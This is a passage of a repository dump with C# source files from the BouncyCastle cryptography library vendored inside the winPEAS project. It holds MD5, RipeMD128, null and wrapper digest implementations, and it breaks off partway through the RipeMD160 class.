    "content": "using System;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.digests\n{\n    /**\n    * implementation of MD5 as outlined in \"Handbook of Applied Cryptography\", pages 346 - 347.\n    */\n    public class MD5Digest\n        : GeneralDigest\n    {\n        private const int DigestLength = 16;\n\n        private uint H1, H2, H3, H4;         // IV's\n\n        private uint[] X = new uint[16];\n        private int xOff;\n\n        public MD5Digest()\n        {\n            Reset();\n        }\n\n        /**\n        * Copy constructor.  This will copy the state of the provided\n        * message digest.\n        */\n        public MD5Digest(MD5Digest t)\n            : base(t)\n\t\t{\n\t\t\tCopyIn(t);\n\t\t}\n\n\t\tprivate void CopyIn(MD5Digest t)\n\t\t{\n\t\t\tbase.CopyIn(t);\n            H1 = t.H1;\n            H2 = t.H2;\n            H3 = t.H3;\n            H4 = t.H4;\n\n            Array.Copy(t.X, 0, X, 0, t.X.Length);\n            xOff = t.xOff;\n        }\n\n        public override string AlgorithmName\n        {\n            get { return \"MD5\"; }\n        }\n\n        public override int GetDigestSize()\n        {\n            return DigestLength;\n        }\n\n        internal override void ProcessWord(\n            byte[] input,\n            int inOff)\n        {\n            X[xOff] = Pack.LE_To_UInt32(input, inOff);\n\n            if (++xOff == 16)\n            {\n                ProcessBlock();\n            }\n        }\n\n        internal override void ProcessLength(\n            long bitLength)\n        {\n            if (xOff > 14)\n            {\n                if (xOff == 15)\n                    X[15] = 0;\n\n                ProcessBlock();\n            }\n\n            for (int i = xOff; i < 14; ++i)\n            {\n                X[i] = 0;\n            }\n\n            X[14] = (uint)((ulong)bitLength);\n            X[15] = (uint)((ulong)bitLength >> 32);\n        }\n\n        public override int DoFinal(\n            byte[] output,\n            int outOff)\n        {\n            Finish();\n\n            Pack.UInt32_To_LE(H1, output, outOff);\n            Pack.UInt32_To_LE(H2, output, outOff + 4);\n            Pack.UInt32_To_LE(H3, output, outOff + 8);\n            Pack.UInt32_To_LE(H4, output, outOff + 12);\n\n            Reset();\n\n            return DigestLength;\n        }\n\n        /**\n        * reset the chaining variables to the IV values.\n        */\n        public override void Reset()\n        {\n            base.Reset();\n\n            H1 = 0x67452301;\n            H2 = 0xefcdab89;\n            H3 = 0x98badcfe;\n            H4 = 0x10325476;\n\n            xOff = 0;\n\n            for (int i = 0; i != X.Length; i++)\n            {\n                X[i] = 0;\n            }\n        }\n\n        //\n        // round 1 left rotates\n        //\n        private static readonly int S11 = 7;\n        private static readonly int S12 = 12;\n        private static readonly int S13 = 17;\n        private static readonly int S14 = 22;\n\n        //\n        // round 2 left rotates\n        //\n        private static readonly int S21 = 5;\n        private static readonly int S22 = 9;\n        private static readonly int S23 = 14;\n        private static readonly int S24 = 20;\n\n        //\n        // round 3 left rotates\n        //\n        private static readonly int S31 = 4;\n        private static readonly int S32 = 11;\n        private static readonly int S33 = 16;\n        private static readonly int S34 = 23;\n\n        //\n        // round 4 left rotates\n        //\n        private static readonly int S41 = 6;\n        private static readonly int S42 = 10;\n        private static readonly int S43 = 15;\n        private static readonly int S44 = 21;\n\n        /*\n        * rotate int x left n bits.\n        */\n        private static uint RotateLeft(\n            uint x,\n            int n)\n        {\n            return (x << n) | (x >> (32 - n));\n        }\n\n        /*\n        * F, G, H and I are the basic MD5 functions.\n        */\n        private static uint F(\n            uint u,\n            uint v,\n            uint w)\n        {\n            return (u & v) | (~u & w);\n        }\n\n        private static uint G(\n            uint u,\n            uint v,\n            uint w)\n        {\n            return (u & w) | (v & ~w);\n        }\n\n        private static uint H(\n            uint u,\n            uint v,\n            uint w)\n        {\n            return u ^ v ^ w;\n        }\n\n        private static uint K(\n            uint u,\n            uint v,\n            uint w)\n        {\n            return v ^ (u | ~w);\n        }\n\n        internal override void ProcessBlock()\n        {\n            uint a = H1;\n            uint b = H2;\n            uint c = H3;\n            uint d = H4;\n\n            //\n            // Round 1 - F cycle, 16 times.\n            //\n            a = RotateLeft((a + F(b, c, d) + X[0] + 0xd76aa478), S11) + b;\n            d = RotateLeft((d + F(a, b, c) + X[1] + 0xe8c7b756), S12) + a;\n            c = RotateLeft((c + F(d, a, b) + X[2] + 0x242070db), S13) + d;\n            b = RotateLeft((b + F(c, d, a) + X[3] + 0xc1bdceee), S14) + c;\n            a = RotateLeft((a + F(b, c, d) + X[4] + 0xf57c0faf), S11) + b;\n            d = RotateLeft((d + F(a, b, c) + X[5] + 0x4787c62a), S12) + a;\n            c = RotateLeft((c + F(d, a, b) + X[6] + 0xa8304613), S13) + d;\n            b = RotateLeft((b + F(c, d, a) + X[7] + 0xfd469501), S14) + c;\n            a = RotateLeft((a + F(b, c, d) + X[8] + 0x698098d8), S11) + b;\n            d = RotateLeft((d + F(a, b, c) + X[9] + 0x8b44f7af), S12) + a;\n            c = RotateLeft((c + F(d, a, b) + X[10] + 0xffff5bb1), S13) + d;\n            b = RotateLeft((b + F(c, d, a) + X[11] + 0x895cd7be), S14) + c;\n            a = RotateLeft((a + F(b, c, d) + X[12] + 0x6b901122), S11) + b;\n            d = RotateLeft((d + F(a, b, c) + X[13] + 0xfd987193), S12) + a;\n            c = RotateLeft((c + F(d, a, b) + X[14] + 0xa679438e), S13) + d;\n            b = RotateLeft((b + F(c, d, a) + X[15] + 0x49b40821), S14) + c;\n\n            //\n            // Round 2 - G cycle, 16 times.\n            //\n            a = RotateLeft((a + G(b, c, d) + X[1] + 0xf61e2562), S21) + b;\n            d = RotateLeft((d + G(a, b, c) + X[6] + 0xc040b340), S22) + a;\n            c = RotateLeft((c + G(d, a, b) + X[11] + 0x265e5a51), S23) + d;\n            b = RotateLeft((b + G(c, d, a) + X[0] + 0xe9b6c7aa), S24) + c;\n            a = RotateLeft((a + G(b, c, d) + X[5] + 0xd62f105d), S21) + b;\n            d = RotateLeft((d + G(a, b, c) + X[10] + 0x02441453), S22) + a;\n            c = RotateLeft((c + G(d, a, b) + X[15] + 0xd8a1e681), S23) + d;\n            b = RotateLeft((b + G(c, d, a) + X[4] + 0xe7d3fbc8), S24) + c;\n            a = RotateLeft((a + G(b, c, d) + X[9] + 0x21e1cde6), S21) + b;\n            d = RotateLeft((d + G(a, b, c) + X[14] + 0xc33707d6), S22) + a;\n            c = RotateLeft((c + G(d, a, b) + X[3] + 0xf4d50d87), S23) + d;\n            b = RotateLeft((b + G(c, d, a) + X[8] + 0x455a14ed), S24) + c;\n            a = RotateLeft((a + G(b, c, d) + X[13] + 0xa9e3e905), S21) + b;\n            d = RotateLeft((d + G(a, b, c) + X[2] + 0xfcefa3f8), S22) + a;\n            c = RotateLeft((c + G(d, a, b) + X[7] + 0x676f02d9), S23) + d;\n            b = RotateLeft((b + G(c, d, a) + X[12] + 0x8d2a4c8a), S24) + c;\n\n            //\n            // Round 3 - H cycle, 16 times.\n            //\n            a = RotateLeft((a + H(b, c, d) + X[5] + 0xfffa3942), S31) + b;\n            d = RotateLeft((d + H(a, b, c) + X[8] + 0x8771f681), S32) + a;\n            c = RotateLeft((c + H(d, a, b) + X[11] + 0x6d9d6122), S33) + d;\n            b = RotateLeft((b + H(c, d, a) + X[14] + 0xfde5380c), S34) + c;\n            a = RotateLeft((a + H(b, c, d) + X[1] + 0xa4beea44), S31) + b;\n            d = RotateLeft((d + H(a, b, c) + X[4] + 0x4bdecfa9), S32) + a;\n            c = RotateLeft((c + H(d, a, b) + X[7] + 0xf6bb4b60), S33) + d;\n            b = RotateLeft((b + H(c, d, a) + X[10] + 0xbebfbc70), S34) + c;\n            a = RotateLeft((a + H(b, c, d) + X[13] + 0x289b7ec6), S31) + b;\n            d = RotateLeft((d + H(a, b, c) + X[0] + 0xeaa127fa), S32) + a;\n            c = RotateLeft((c + H(d, a, b) + X[3] + 0xd4ef3085), S33) + d;\n            b = RotateLeft((b + H(c, d, a) + X[6] + 0x04881d05), S34) + c;\n            a = RotateLeft((a + H(b, c, d) + X[9] + 0xd9d4d039), S31) + b;\n            d = RotateLeft((d + H(a, b, c) + X[12] + 0xe6db99e5), S32) + a;\n            c = RotateLeft((c + H(d, a, b) + X[15] + 0x1fa27cf8), S33) + d;\n            b = RotateLeft((b + H(c, d, a) + X[2] + 0xc4ac5665), S34) + c;\n\n            //\n            // Round 4 - K cycle, 16 times.\n            //\n            a = RotateLeft((a + K(b, c, d) + X[0] + 0xf4292244), S41) + b;\n            d = RotateLeft((d + K(a, b, c) + X[7] + 0x432aff97), S42) + a;\n            c = RotateLeft((c + K(d, a, b) + X[14] + 0xab9423a7), S43) + d;\n            b = RotateLeft((b + K(c, d, a) + X[5] + 0xfc93a039), S44) + c;\n            a = RotateLeft((a + K(b, c, d) + X[12] + 0x655b59c3), S41) + b;\n            d = RotateLeft((d + K(a, b, c) + X[3] + 0x8f0ccc92), S42) + a;\n            c = RotateLeft((c + K(d, a, b) + X[10] + 0xffeff47d), S43) + d;\n            b = RotateLeft((b + K(c, d, a) + X[1] + 0x85845dd1), S44) + c;\n            a = RotateLeft((a + K(b, c, d) + X[8] + 0x6fa87e4f), S41) + b;\n            d = RotateLeft((d + K(a, b, c) + X[15] + 0xfe2ce6e0), S42) + a;\n            c = RotateLeft((c + K(d, a, b) + X[6] + 0xa3014314), S43) + d;\n            b = RotateLeft((b + K(c, d, a) + X[13] + 0x4e0811a1), S44) + c;\n            a = RotateLeft((a + K(b, c, d) + X[4] + 0xf7537e82), S41) + b;\n            d = RotateLeft((d + K(a, b, c) + X[11] + 0xbd3af235), S42) + a;\n            c = RotateLeft((c + K(d, a, b) + X[2] + 0x2ad7d2bb), S43) + d;\n            b = RotateLeft((b + K(c, d, a) + X[9] + 0xeb86d391), S44) + c;\n\n            H1 += a;\n            H2 += b;\n            H3 += c;\n            H4 += d;\n\n            xOff = 0;\n        }\n\n\t\tpublic override IMemoable Copy()\n\t\t{\n\t\t\treturn new MD5Digest(this);\n\t\t}\n\n\t\tpublic override void Reset(IMemoable other)\n\t\t{\n\t\t\tMD5Digest d = (MD5Digest)other;\n\n\t\t\tCopyIn(d);\n\t\t}\n\n\t}\n\n}\n\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/NonMemoableDigest.cs",
    "content": "﻿using System;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.digests\n{\n    /**\n     * Wrapper removes exposure to the IMemoable interface on an IDigest implementation.\n     */\n    public class NonMemoableDigest\n        :   IDigest\n    {\n        protected readonly IDigest mBaseDigest;\n\n        /**\n         * Base constructor.\n         *\n         * @param baseDigest underlying digest to use.\n         * @exception IllegalArgumentException if baseDigest is null\n         */\n        public NonMemoableDigest(IDigest baseDigest)\n        {\n            if (baseDigest == null)\n                throw new ArgumentNullException(\"baseDigest\");\n\n            this.mBaseDigest = baseDigest;\n        }\n\n        public virtual string AlgorithmName\n        {\n            get { return mBaseDigest.AlgorithmName; }\n        }\n\n        public virtual int GetDigestSize()\n        {\n            return mBaseDigest.GetDigestSize();\n        }\n\n        public virtual void Update(byte input)\n        {\n            mBaseDigest.Update(input);\n        }\n\n        public virtual void BlockUpdate(byte[] input, int inOff, int len)\n        {\n            mBaseDigest.BlockUpdate(input, inOff, len);\n        }\n\n        public virtual int DoFinal(byte[] output, int outOff)\n        {\n            return mBaseDigest.DoFinal(output, outOff);\n        }\n\n        public virtual void Reset()\n        {\n            mBaseDigest.Reset();\n        }\n\n        public virtual int GetByteLength()\n        {\n            return mBaseDigest.GetByteLength();\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/NullDigest.cs",
    "content": "using System.IO;\nusing winPEAS._3rdParty.BouncyCastle.util.io;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.digests\n{\n\tpublic class NullDigest : IDigest\n\t{\n\t\tprivate readonly MemoryStream bOut = new MemoryStream();\n\n\t\tpublic string AlgorithmName\n\t\t{\n\t\t\tget { return \"NULL\"; }\n\t\t}\n\n\t\tpublic int GetByteLength()\n\t\t{\n\t\t\t// TODO Is this okay?\n\t\t\treturn 0;\n\t\t}\n\n\t\tpublic int GetDigestSize()\n\t\t{\n\t\t\treturn (int)bOut.Length;\n\t\t}\n\n\t\tpublic void Update(byte b)\n\t\t{\n\t\t\tbOut.WriteByte(b);\n\t\t}\n\n\t\tpublic void BlockUpdate(byte[] inBytes, int inOff, int len)\n\t\t{\n\t\t\tbOut.Write(inBytes, inOff, len);\n\t\t}\n\n        public int DoFinal(byte[] outBytes, int outOff)\n\t\t{\n            try\n            {\n                return Streams.WriteBufTo(bOut, outBytes, outOff);\n            }\n            finally\n            {\n                Reset();\n            }\n        }\n\n        public void Reset()\n\t\t{\n\t\t\tbOut.SetLength(0);\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/RipeMD128Digest.cs",
    "content": "using System;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.digests\n{\n    /**\n    * implementation of RipeMD128\n    */\n    public class RipeMD128Digest\n\t\t: GeneralDigest\n    {\n        private const int DigestLength = 16;\n\n        private int H0, H1, H2, H3; // IV's\n\n        private int[] X = new int[16];\n        private int xOff;\n\n        /**\n        * Standard constructor\n        */\n        public RipeMD128Digest()\n        {\n            Reset();\n        }\n\n        /**\n        * Copy constructor.  This will copy the state of the provided\n        * message digest.\n        */\n        public RipeMD128Digest(RipeMD128Digest t) : base(t)\n\t\t{\n\t\t\tCopyIn(t);\n\t\t}\n\n\t\tprivate void CopyIn(RipeMD128Digest t)\n\t\t{\n\t\t\tbase.CopyIn(t);\n\n\t\t\tH0 = t.H0;\n            H1 = t.H1;\n            H2 = t.H2;\n            H3 = t.H3;\n\n            Array.Copy(t.X, 0, X, 0, t.X.Length);\n            xOff = t.xOff;\n        }\n\n\t\tpublic override string AlgorithmName\n\t\t{\n\t\t\tget { return \"RIPEMD128\"; }\n\t\t}\n\n\t\tpublic override int GetDigestSize()\n\t\t{\n\t\t\treturn DigestLength;\n\t\t}\n\n\t\tinternal override void ProcessWord(\n            byte[] input,\n            int inOff)\n        {\n            X[xOff++] = (input[inOff] & 0xff) | ((input[inOff + 1] & 0xff) << 8)\n                | ((input[inOff + 2] & 0xff) << 16) | ((input[inOff + 3] & 0xff) << 24);\n\n            if (xOff == 16)\n            {\n                ProcessBlock();\n            }\n        }\n\n        internal override void ProcessLength(\n            long bitLength)\n        {\n            if (xOff > 14)\n            {\n            ProcessBlock();\n            }\n\n            X[14] = (int)(bitLength & 0xffffffff);\n            X[15] = (int)((ulong) bitLength >> 32);\n        }\n\n        private void UnpackWord(\n            int word,\n            byte[] outBytes,\n            int outOff)\n        {\n            outBytes[outOff]     = (byte)word;\n            outBytes[outOff + 1] = (byte)((uint) word >> 8);\n            outBytes[outOff + 2] = (byte)((uint) word >> 16);\n            outBytes[outOff + 3] = (byte)((uint) word >> 24);\n        }\n\n        public override int DoFinal(\n            byte[] output,\n            int outOff)\n        {\n            Finish();\n\n            UnpackWord(H0, output, outOff);\n            UnpackWord(H1, output, outOff + 4);\n            UnpackWord(H2, output, outOff + 8);\n            UnpackWord(H3, output, outOff + 12);\n\n            Reset();\n\n            return DigestLength;\n        }\n\n        /**\n        * reset the chaining variables to the IV values.\n        */\n        public override void Reset()\n        {\n            base.Reset();\n\n            H0 = unchecked((int) 0x67452301);\n            H1 = unchecked((int) 0xefcdab89);\n            H2 = unchecked((int) 0x98badcfe);\n            H3 = unchecked((int) 0x10325476);\n\n            xOff = 0;\n\n            for (int i = 0; i != X.Length; i++)\n            {\n                X[i] = 0;\n            }\n        }\n\n        /*\n        * rotate int x left n bits.\n        */\n        private int RL(\n            int x,\n            int n)\n        {\n            return (x << n) | (int) ((uint) x >> (32 - n));\n        }\n\n        /*\n        * f1,f2,f3,f4 are the basic RipeMD128 functions.\n        */\n\n        /*\n        * F\n        */\n        private int F1(\n            int x,\n            int y,\n            int z)\n        {\n            return x ^ y ^ z;\n        }\n\n        /*\n        * G\n        */\n        private int F2(\n            int x,\n            int y,\n            int z)\n        {\n            return (x & y) | (~x & z);\n        }\n\n        /*\n        * H\n        */\n        private int F3(\n            int x,\n            int y,\n            int z)\n        {\n            return (x | ~y) ^ z;\n        }\n\n        /*\n        * I\n        */\n        private int F4(\n            int x,\n            int y,\n            int z)\n        {\n            return (x & z) | (y & ~z);\n        }\n\n        private int F1(\n            int a,\n            int b,\n            int c,\n            int d,\n            int x,\n            int s)\n        {\n            return RL(a + F1(b, c, d) + x, s);\n        }\n\n        private int F2(\n            int a,\n            int b,\n            int c,\n            int d,\n            int x,\n            int s)\n        {\n            return RL(a + F2(b, c, d) + x + unchecked((int) 0x5a827999), s);\n        }\n\n        private int F3(\n            int a,\n            int b,\n            int c,\n            int d,\n            int x,\n            int s)\n        {\n            return RL(a + F3(b, c, d) + x + unchecked((int) 0x6ed9eba1), s);\n        }\n\n        private int F4(\n            int a,\n            int b,\n            int c,\n            int d,\n            int x,\n            int s)\n        {\n            return RL(a + F4(b, c, d) + x + unchecked((int) 0x8f1bbcdc), s);\n        }\n\n        private int FF1(\n            int a,\n            int b,\n            int c,\n            int d,\n            int x,\n            int s)\n        {\n            return RL(a + F1(b, c, d) + x, s);\n        }\n\n        private int FF2(\n            int a,\n            int b,\n            int c,\n            int d,\n            int x,\n            int s)\n        {\n        return RL(a + F2(b, c, d) + x + unchecked((int) 0x6d703ef3), s);\n        }\n\n        private int FF3(\n            int a,\n            int b,\n            int c,\n            int d,\n            int x,\n            int s)\n        {\n        return RL(a + F3(b, c, d) + x + unchecked((int) 0x5c4dd124), s);\n        }\n\n        private int FF4(\n            int a,\n            int b,\n            int c,\n            int d,\n            int x,\n            int s)\n        {\n        return RL(a + F4(b, c, d) + x + unchecked((int) 0x50a28be6), s);\n        }\n\n        internal override void ProcessBlock()\n        {\n            int a, aa;\n            int b, bb;\n            int c, cc;\n            int d, dd;\n\n            a = aa = H0;\n            b = bb = H1;\n            c = cc = H2;\n            d = dd = H3;\n\n            //\n            // Round 1\n            //\n            a = F1(a, b, c, d, X[ 0], 11);\n            d = F1(d, a, b, c, X[ 1], 14);\n            c = F1(c, d, a, b, X[ 2], 15);\n            b = F1(b, c, d, a, X[ 3], 12);\n            a = F1(a, b, c, d, X[ 4],  5);\n            d = F1(d, a, b, c, X[ 5],  8);\n            c = F1(c, d, a, b, X[ 6],  7);\n            b = F1(b, c, d, a, X[ 7],  9);\n            a = F1(a, b, c, d, X[ 8], 11);\n            d = F1(d, a, b, c, X[ 9], 13);\n            c = F1(c, d, a, b, X[10], 14);\n            b = F1(b, c, d, a, X[11], 15);\n            a = F1(a, b, c, d, X[12],  6);\n            d = F1(d, a, b, c, X[13],  7);\n            c = F1(c, d, a, b, X[14],  9);\n            b = F1(b, c, d, a, X[15],  8);\n\n            //\n            // Round 2\n            //\n            a = F2(a, b, c, d, X[ 7],  7);\n            d = F2(d, a, b, c, X[ 4],  6);\n            c = F2(c, d, a, b, X[13],  8);\n            b = F2(b, c, d, a, X[ 1], 13);\n            a = F2(a, b, c, d, X[10], 11);\n            d = F2(d, a, b, c, X[ 6],  9);\n            c = F2(c, d, a, b, X[15],  7);\n            b = F2(b, c, d, a, X[ 3], 15);\n            a = F2(a, b, c, d, X[12],  7);\n            d = F2(d, a, b, c, X[ 0], 12);\n            c = F2(c, d, a, b, X[ 9], 15);\n            b = F2(b, c, d, a, X[ 5],  9);\n            a = F2(a, b, c, d, X[ 2], 11);\n            d = F2(d, a, b, c, X[14],  7);\n            c = F2(c, d, a, b, X[11], 13);\n            b = F2(b, c, d, a, X[ 8], 12);\n\n            //\n            // Round 3\n            //\n            a = F3(a, b, c, d, X[ 3], 11);\n            d = F3(d, a, b, c, X[10], 13);\n            c = F3(c, d, a, b, X[14],  6);\n            b = F3(b, c, d, a, X[ 4],  7);\n            a = F3(a, b, c, d, X[ 9], 14);\n            d = F3(d, a, b, c, X[15],  9);\n            c = F3(c, d, a, b, X[ 8], 13);\n            b = F3(b, c, d, a, X[ 1], 15);\n            a = F3(a, b, c, d, X[ 2], 14);\n            d = F3(d, a, b, c, X[ 7],  8);\n            c = F3(c, d, a, b, X[ 0], 13);\n            b = F3(b, c, d, a, X[ 6],  6);\n            a = F3(a, b, c, d, X[13],  5);\n            d = F3(d, a, b, c, X[11], 12);\n            c = F3(c, d, a, b, X[ 5],  7);\n            b = F3(b, c, d, a, X[12],  5);\n\n            //\n            // Round 4\n            //\n            a = F4(a, b, c, d, X[ 1], 11);\n            d = F4(d, a, b, c, X[ 9], 12);\n            c = F4(c, d, a, b, X[11], 14);\n            b = F4(b, c, d, a, X[10], 15);\n            a = F4(a, b, c, d, X[ 0], 14);\n            d = F4(d, a, b, c, X[ 8], 15);\n            c = F4(c, d, a, b, X[12],  9);\n            b = F4(b, c, d, a, X[ 4],  8);\n            a = F4(a, b, c, d, X[13],  9);\n            d = F4(d, a, b, c, X[ 3], 14);\n            c = F4(c, d, a, b, X[ 7],  5);\n            b = F4(b, c, d, a, X[15],  6);\n            a = F4(a, b, c, d, X[14],  8);\n            d = F4(d, a, b, c, X[ 5],  6);\n            c = F4(c, d, a, b, X[ 6],  5);\n            b = F4(b, c, d, a, X[ 2], 12);\n\n            //\n            // Parallel round 1\n            //\n            aa = FF4(aa, bb, cc, dd, X[ 5],  8);\n            dd = FF4(dd, aa, bb, cc, X[14],  9);\n            cc = FF4(cc, dd, aa, bb, X[ 7],  9);\n            bb = FF4(bb, cc, dd, aa, X[ 0], 11);\n            aa = FF4(aa, bb, cc, dd, X[ 9], 13);\n            dd = FF4(dd, aa, bb, cc, X[ 2], 15);\n            cc = FF4(cc, dd, aa, bb, X[11], 15);\n            bb = FF4(bb, cc, dd, aa, X[ 4],  5);\n            aa = FF4(aa, bb, cc, dd, X[13],  7);\n            dd = FF4(dd, aa, bb, cc, X[ 6],  7);\n            cc = FF4(cc, dd, aa, bb, X[15],  8);\n            bb = FF4(bb, cc, dd, aa, X[ 8], 11);\n            aa = FF4(aa, bb, cc, dd, X[ 1], 14);\n            dd = FF4(dd, aa, bb, cc, X[10], 14);\n            cc = FF4(cc, dd, aa, bb, X[ 3], 12);\n            bb = FF4(bb, cc, dd, aa, X[12],  6);\n\n            //\n            // Parallel round 2\n            //\n            aa = FF3(aa, bb, cc, dd, X[ 6],  9);\n            dd = FF3(dd, aa, bb, cc, X[11], 13);\n            cc = FF3(cc, dd, aa, bb, X[ 3], 15);\n            bb = FF3(bb, cc, dd, aa, X[ 7],  7);\n            aa = FF3(aa, bb, cc, dd, X[ 0], 12);\n            dd = FF3(dd, aa, bb, cc, X[13],  8);\n            cc = FF3(cc, dd, aa, bb, X[ 5],  9);\n            bb = FF3(bb, cc, dd, aa, X[10], 11);\n            aa = FF3(aa, bb, cc, dd, X[14],  7);\n            dd = FF3(dd, aa, bb, cc, X[15],  7);\n            cc = FF3(cc, dd, aa, bb, X[ 8], 12);\n            bb = FF3(bb, cc, dd, aa, X[12],  7);\n            aa = FF3(aa, bb, cc, dd, X[ 4],  6);\n            dd = FF3(dd, aa, bb, cc, X[ 9], 15);\n            cc = FF3(cc, dd, aa, bb, X[ 1], 13);\n            bb = FF3(bb, cc, dd, aa, X[ 2], 11);\n\n            //\n            // Parallel round 3\n            //\n            aa = FF2(aa, bb, cc, dd, X[15],  9);\n            dd = FF2(dd, aa, bb, cc, X[ 5],  7);\n            cc = FF2(cc, dd, aa, bb, X[ 1], 15);\n            bb = FF2(bb, cc, dd, aa, X[ 3], 11);\n            aa = FF2(aa, bb, cc, dd, X[ 7],  8);\n            dd = FF2(dd, aa, bb, cc, X[14],  6);\n            cc = FF2(cc, dd, aa, bb, X[ 6],  6);\n            bb = FF2(bb, cc, dd, aa, X[ 9], 14);\n            aa = FF2(aa, bb, cc, dd, X[11], 12);\n            dd = FF2(dd, aa, bb, cc, X[ 8], 13);\n            cc = FF2(cc, dd, aa, bb, X[12],  5);\n            bb = FF2(bb, cc, dd, aa, X[ 2], 14);\n            aa = FF2(aa, bb, cc, dd, X[10], 13);\n            dd = FF2(dd, aa, bb, cc, X[ 0], 13);\n            cc = FF2(cc, dd, aa, bb, X[ 4],  7);\n            bb = FF2(bb, cc, dd, aa, X[13],  5);\n\n            //\n            // Parallel round 4\n            //\n            aa = FF1(aa, bb, cc, dd, X[ 8], 15);\n            dd = FF1(dd, aa, bb, cc, X[ 6],  5);\n            cc = FF1(cc, dd, aa, bb, X[ 4],  8);\n            bb = FF1(bb, cc, dd, aa, X[ 1], 11);\n            aa = FF1(aa, bb, cc, dd, X[ 3], 14);\n            dd = FF1(dd, aa, bb, cc, X[11], 14);\n            cc = FF1(cc, dd, aa, bb, X[15],  6);\n            bb = FF1(bb, cc, dd, aa, X[ 0], 14);\n            aa = FF1(aa, bb, cc, dd, X[ 5],  6);\n            dd = FF1(dd, aa, bb, cc, X[12],  9);\n            cc = FF1(cc, dd, aa, bb, X[ 2], 12);\n            bb = FF1(bb, cc, dd, aa, X[13],  9);\n            aa = FF1(aa, bb, cc, dd, X[ 9], 12);\n            dd = FF1(dd, aa, bb, cc, X[ 7],  5);\n            cc = FF1(cc, dd, aa, bb, X[10], 15);\n            bb = FF1(bb, cc, dd, aa, X[14],  8);\n\n            dd += c + H1;               // final result for H0\n\n            //\n            // combine the results\n            //\n            H1 = H2 + d + aa;\n            H2 = H3 + a + bb;\n            H3 = H0 + b + cc;\n            H0 = dd;\n\n            //\n            // reset the offset and clean out the word buffer.\n            //\n            xOff = 0;\n            for (int i = 0; i != X.Length; i++)\n            {\n                X[i] = 0;\n            }\n        }\n\t\t\n\t\tpublic override IMemoable Copy()\n\t\t{\n\t\t\treturn new RipeMD128Digest(this);\n\t\t}\n\n\t\tpublic override void Reset(IMemoable other)\n\t\t{\n\t\t\tRipeMD128Digest d = (RipeMD128Digest)other;\n\n\t\t\tCopyIn(d);\n\t\t}\n\n    }\n\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/RipeMD160Digest.cs",
    "content": "using System;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.digests\n{\n    /**\n    * implementation of RipeMD see,\n    * http://www.esat.kuleuven.ac.be/~bosselae/ripemd160.html\n    */\n    public class RipeMD160Digest\n\t\t: GeneralDigest\n    {\n        private const int DigestLength = 20;\n\n        private int H0, H1, H2, H3, H4; // IV's\n\n        private int[] X = new int[16];\n        private int xOff;\n\n        /**\n        * Standard constructor\n        */\n        public RipeMD160Digest()\n        {\n            Reset();\n        }\n\n        /**\n        * Copy constructor.  This will copy the state of the provided\n        * message digest.\n        */\n        public RipeMD160Digest(RipeMD160Digest t) : base(t)\n        {\n\t\t\tCopyIn(t);\n\t\t}\n\n\t\tprivate void CopyIn(RipeMD160Digest t)\n\t\t{\n\t\t\tbase.CopyIn(t);\n\n            H0 = t.H0;\n            H1 = t.H1;\n            H2 = t.H2;\n            H3 = t.H3;\n            H4 = t.H4;\n\n            Array.Copy(t.X, 0, X, 0, t.X.Length);\n            xOff = t.xOff;\n        }\n\n        public override string AlgorithmName\n\t\t{\n\t\t\tget { return \"RIPEMD160\"; }\n\t\t}\n\n\t\tpublic override int GetDigestSize()\n\t\t{\n\t\t\treturn DigestLength;\n\t\t}\n\n\t\tinternal override void ProcessWord(\n            byte[] input,\n            int inOff)\n        {\n            X[xOff++] = (input[inOff] & 0xff) | ((input[inOff + 1] & 0xff) << 8)\n                | ((input[inOff + 2] & 0xff) << 16) | ((input[inOff + 3] & 0xff) << 24);\n\n            if (xOff == 16)\n            {\n                ProcessBlock();\n            }\n        }\n\n\t\tinternal override void ProcessLength(\n            long bitLength)\n        {\n            if (xOff > 14)\n            {\n            ProcessBlock();\n            }\n\n            X[14] = (int)(bitLength & 0xffffffff);\n            X[15] = (int)((ulong) bitLength >> 32);\n        }\n\n        private void UnpackWord(\n            int word,\n            byte[] outBytes,\n            int outOff)\n        {\n            outBytes[outOff]     = (byte)word;\n            outBytes[outOff + 1] = (byte)((uint) word >> 8);\n            outBytes[outOff + 2] = (byte)((uint) word >> 16);\n            outBytes[outOff + 3] = (byte)((uint) word >> 24);\n        }\n\n        public override int DoFinal(\n            byte[] output,\n            int outOff)\n        {\n            Finish();\n\n            UnpackWord(H0, output, outOff);\n            UnpackWord(H1, output, outOff + 4);\n            UnpackWord(H2, output, outOff + 8);\n            UnpackWord(H3, output, outOff + 12);\n            UnpackWord(H4, output, outOff + 16);\n\n            Reset();\n\n            return DigestLength;\n        }\n\n        /**\n        * reset the chaining variables to the IV values.\n        */\n        public override void Reset()\n        {\n            base.Reset();\n\n            H0 = unchecked((int) 0x67452301);\n            H1 = unchecked((int) 0xefcdab89);\n            H2 = unchecked((int) 0x98badcfe);\n            H3 = unchecked((int) 0x10325476);\n            H4 = unchecked((int) 0xc3d2e1f0);\n\n            xOff = 0;\n\n            for (int i = 0; i != X.Length; i++)\n            {\n                X[i] = 0;\n            }\n        }\n\n        /*\n        * rotate int x left n bits.\n        */\n        private  int RL(\n            int x,\n            int n)\n        {\n            return (x << n) | (int) ((uint) x >> (32 - n));\n        }\n\n        /*\n        * f1,f2,f3,f4,f5 are the basic RipeMD160 functions.\n        */\n\n        /*\n        * rounds 0-15\n        */\n        private  int F1(\n            int x,\n            int y,\n            int z)\n        {\n            return x ^ y ^ z;\n        }\n\n        /*\n        * rounds 16-31\n        */\n        private  int F2(\n            int x,\n            int y,\n            int z)\n        {\n            return (x & y) | (~x & z);\n        }\n\n        /*\n        * rounds 32-47\n        */\n        private  int F3(\n            int x,\n            int y,\n            int z)\n        {\n            return (x | 